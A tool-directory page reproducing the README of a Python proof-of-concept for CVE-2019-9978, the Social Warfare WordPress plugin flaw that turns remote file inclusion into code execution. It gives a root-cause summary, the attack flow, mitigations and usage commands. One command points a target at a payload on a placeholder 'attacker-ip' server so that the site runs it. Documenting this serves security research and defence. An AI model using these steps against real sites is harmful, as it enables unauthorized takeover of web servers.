Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-9978-RCE-PoC — A custom Python proof-of-concept showcasing root-cause analysis and exploitation of CVE 2019-9978 (Social Warfare plugin),focusing on practical RFI to RCE attack flow. | Kitploit
Tools/GitHubGitHub/vaidehim55/cve-2019-9978-rce-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubvaidehim55/cve-2019-9978-rce-poc

CVE-2019-9978-RCE-PoC

A custom Python proof-of-concept showcasing root-cause analysis and exploitation of CVE 2019-9978 (Social Warfare plugin),focusing on practical RFI to RCE attack flow.

View Repository
128 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-9978 RCE PoC – Social Warfare WordPress Plugin Exploit

Unauthenticated Remote File Inclusion (RFI) to Remote Code Execution (RCE)


📌 Description

This repository contains a Python-based Proof of Concept (PoC) demonstrating the exploitation of CVE-2019-9978, a critical vulnerability in the Social Warfare WordPress plugin.

The vulnerability allows an unauthenticated attacker to perform Remote File Inclusion (RFI), which can be escalated to Remote Code Execution (RCE)* by hosting a malicious payload on an attacker-controlled server.

This PoC was developed and tested in a controlled WordPress lab environment for educational and authorized security testing purposes only.


🔍 Vulnerability Summary

  • CVE ID: CVE-2019-9978
  • Affected Component: Social Warfare (WordPress Plugin)
  • Affected Versions: ≤ 3.5.2
  • Vulnerability Type: Remote File Inclusion (RFI)
  • Impact: Remote Code Execution (RCE)
  • Authentication Required: No
  • Attack Vector: Remote
  • Severity: Critical

  • 🧠 Root Cause Analysis

    The Social Warfare plugin fails to properly validate and sanitize user-supplied input used for remote content inclusion.
    As a result, an attacker can supply a malicious external URL, leading to unauthenticated remote file inclusion.

    When the included remote file contains executable PHP code, it is executed in the context of the WordPress server, resulting in remote code execution.


    🔄 Attack Flow

    root@kitploit:~
    
    Unauthenticated HTTP Request
    ↓
    Remote File Inclusion (External URL)
    ↓
    Malicious Payload Execution
    ↓
    Remote Code Execution (RCE)
    
    

    🧪 Proof of Concept (PoC)

    1. The attacker hosts a malicious payload on an external HTTP server
    2. The vulnerable Social Warfare endpoint includes the remote file
    3. The payload executes on the target WordPress server
    4. The attacker gains remote command execution
    5. The exploit script automates this process for testing and research purposes

    ▶️ Usage

    Step 1: Host the payload

    root@kitploit:~
    python3 -m http.server 8000
    

    Place your payload file (e.g., payload-main.txt) in the server directory.


    Step 2: Execute the exploit

    root@kitploit:~
    python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt
    

    🛠 Requirements

    • Python 3.x
    • Vulnerable version of the Social Warfare WordPress plugin
    • WordPress test environment
    • Local or remote HTTP server for payload hosting

    🛡 Mitigation & Defense

    • Update the Social Warfare plugin to a patched version

    • Disable remote file inclusion:

      root@kitploit:~
      allow_url_include = Off
      
    • Restrict external URL handling in WordPress plugins

    • Deploy a Web Application Firewall (WAF) with RFI detection rules


    ⚠️ Legal Disclaimer

    This project is intended strictly for educational purposes and authorized security testing only.

    Do NOT use this Proof of Concept against systems without explicit permission. The author is not responsible for any misuse or damage caused by this tool.


    🔗 References & Credits

    • Original Researcher: Luka Sikic
    • Original PoC Reference: https://github.com/hash3liZer/CVE-2019-9978
    • Author / Adaptation: Vaidehi Muluru

    Download Tool